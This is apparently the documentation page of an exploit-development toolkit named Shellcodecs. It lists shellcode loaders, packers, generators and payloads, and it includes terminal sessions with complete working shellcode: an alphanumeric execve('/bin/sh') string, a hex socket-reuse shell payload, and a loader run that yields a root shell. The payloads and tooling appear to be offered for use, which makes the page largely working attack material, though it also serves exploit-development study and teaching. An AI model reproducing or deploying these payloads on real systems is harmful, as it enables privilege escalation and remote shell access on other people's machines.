Shellcodecs
Shellcodecs is a collection of shellcodes, loaders, sources, and generators provided with documentation designed to ease the exploitation and shellcode programming process.
Contents
Dependencies
In order to run these shellcodes, the following dependencies are required:
Unless otherwise noted, code is amd64. There are various 32-bit examples as well. If you think you may have an out of date version, or that the official version is out-of-sync with the site, the latest sources will be available 100% of the time in the shellcode appendix.
Contents
Loaders
- 32-bit executable mmap-based shellcode loader 66 bytes (loader-32.s) (Docs)
- 64-bit executable mmap-based shellcode loader 79 bytes (loader-64.s) (Docs)
- A dynamic loader for locally executable code in C (dynamic-loader.c)
- A dynamic loader for remotely executable code (socket-loader.c)
Tools
- Nicely output shellcode in a variety of formats (shellcode-generator.py)
- Hash-generator for self-linking shellcode 81 bytes (hash-generator.s)
- Socket-reuse shellcode generator (socket-reuse-generator.py)
- Polymorphic socket reuse generator (poly-socket-reuse-generator.py)
- Sends socket reuse shellcode (socket-reuse.c)
- 32-bit shellcode packer 37 bytes (packer-32.s) (Docs)
- 64-bit shellcode packer 55 bytes (packer-64.s) (Docs)
- ELF64 symbol table parser 188 bytes (elf64-parser.s) (Docs)
Payloads
- Short unlinked 64-bit null-free setuid(0); execve('/bin/sh',0,0); 32 bytes (setuid_binsh.s) (Docs)
- Small unlinked 32-bit null-free write-to-file payload 90 bytes (write-file-32.s) (Docs)
- Null-free unlinked same-socket-shell payload 115 bytes (socket-reuse.s) (Docs)
- Alphanumeric amd64 execve('/bin/sh',0,0) 104 bytes (ascii_binsh.s) (Docs)
- Null-free dynamic ELF64 exit code 135 bytes (linked-exit.s) (Docs)
- Null-free dynamic ELF64 socket reuse shellcode 268 bytes (linker-fd-reuse.s) (Docs)
- Null-free polymorphic dynamic ELF64 socket reuse shellcode 268 bytes (poly-linker-fd-reuse.s)
Stubs
- A 32-bit getpc (%eax) example 11 bytes (getpc-32.s) (Docs)
- A 64-bit getpc (%rax) example 12 bytes (getpc-64.s) (Docs)
- Alternative 64-bit getpc 10 bytes (getpc-64-alt.s) (Docs)
- Int3 detection code 24 bytes (int3-detect-64.s) (Docs)
- 32-bit lastcall example code 4 bytes (lastcall-32.s) (Docs)
- 64-bit lastcall example code 5 bytes (lastcall-64.s) (Docs)
- 64-bit alphanumeric lastcall example code 13 bytes (lastcall-alphanum.s) (Docs)
- Alphanumeric x86* compatible getCPU 15 bytes (architecture_detection) (Docs)
- 32-bit shellcode unpacker 89 bytes (decoder-32.s) (Docs)
- 64-bit shellcode unpacker (mmap) 102 bytes (decoder-64.s) (Docs)
- 64-bit shellcode unpacker 69 bytes (decoder-64.s) (Docs)
Building the code
- tar xzvf shellcode.tgz
- cd shellcode
- make
It is also possible to make exclusively x86 or x64 binaries using make x86 or make x64. Please keep in mind, there is more support for 64-bit in this package than 32-bit.
Using the tools
Generators
The shellcode generator assembles shellcode from its assembly file and outputs the byte code as raw ascii, a hexadecimal representation, or as a C variable. It can also optionally output the length of the shellcode. The raw ascii representation can be piped into a generator or exploit (or a binary file), whereas the hexadecimal representation can be used in exploit code.
- Help
| Terminal |
| localhost:~ $ generators/shellcode-generator.py --help
usage: shellcode-generator.py [-h] --file FILE [--hex] [--raw] [--var] [--len] optional arguments: -h, --help show this help message and exit --file FILE --hex Output in hex format (\x0f\x05) --raw Output in raw format --var Output as a variable --len Output the length |
- An example of using the generator to output raw ascii follows:
| Terminal |
| localhost:~ $ generators/shellcode-generator.py --file=ascii-shellcode/ascii_binsh --raw XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00 |
The socket reuse generator accepts the source IP and source port that the socket reuse shellcode will be sent from and outputs the hexadecimal representation of the code to input into the socket-reuse-send.c source file.
[user@localhost shellcode]$ generators/socket-reuse-generator.py Usage: generators/socket-reuse-generator.py <source IP> <source port> [user@localhost shellcode]$ generators/socket-reuse-generator.py 127.0.0.1 1234 "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" "\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62" "\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b" "\x59\xbb\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66" "\xbb\xfb\x2d\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21" "\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48" "\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f" "\x6a\x3b\x58\x0f\x05" [user@localhost shellcode]$ gcc -o socket-reuse/socket-reuse-send socket-reuse/socket-reuse-send.c [user@localhost shellcode]$
Loaders
The standard loader accepts shellcode as a command line argument (argv[1]) and executes it. This can be combined with the shellcode generator to test code:
| Terminal |
| localhost:~ $ loaders/loader-64 $(generators/shellcode-generator.py --file=null-free/setuid_binsh.s --raw)
[root@localhost shellcode]# exit exit |
The socket loader runs any input off of the socket as it is received to test socket-based code (such as the socket-reuse code). It accepts a port number as an argument. Warning: this code listens on all ports, so only use it on a closed network.
| Terminal |
| localhost:~ $ loaders/socket-loader 1235
Executing 117 |
Getting help
|
If you're using the tools and there's a problem, try re-reading the documentation before asking a question. If you're absolutely sure it is programmatical error and not user error preventing the code from working properly, you can let us know by talking on the shellcode talk page.
